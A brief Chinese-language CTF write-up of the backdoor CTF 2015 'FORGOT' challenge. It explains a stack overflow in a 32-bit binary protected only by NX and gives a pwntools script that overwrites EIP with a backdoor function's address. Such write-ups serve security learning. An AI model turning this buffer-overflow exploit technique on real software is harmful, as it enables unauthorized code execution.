作者:ERROR404,转载请注明来源SourceCode战队
题目信息
非原创,原题为backdoor CTF 2015 FORGOT
Fawkes has been playing around with Finite State Automaton lately. While exploring the concept of implementing regular expressions using FSA he thought of implementing an email-address validator. Recently, Lua started to annoy Fawkes. To this, Fawkes, challenged Lua to a battle of wits. Fawkes promised to reward Lua, only if she manages to transition to a non-reachable state in the FSA he implemented. The replication can be accessed here and the service at ‘nc hack.bckdr.in 8009’ Created by: Abhishek Kandoi No. of Correct Submissions: 258
题目分析
这个题一上来题干蛮吓人的。。。
福克斯最近一直在玩有限状态自动机。 在探索使用FSA实现正则表达式的概念时,他想到了实现电子邮件地址验证器。
最近,Lua开始惹恼福克斯。 对此,福克斯向Lua挑战斗智斗勇。 福克斯答应奖励Lua,只要她设法过渡到他实施的FSA中的一个不可达状态。 可以在这里访问复制,并在'nc hack.bckdr.in 8009'访问服务
于是分析程序,看保护
32位程序仅开启了NX保护,使用IDA分析程序:
line41存在栈溢出漏洞,并且发现程序中存在后门函数
于是用栈溢出控制EIP到后门函数即可。
EXP
from pwn import *
import sys
context.log_level='debug'
if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
else:
sh = process("./forgot")
payload="A"*63+"\xcc\x86\x04\x08"
sh.recvuntil("What is your name?")
sh.sendline(payload)
sh.interactive()
print(sh.recv())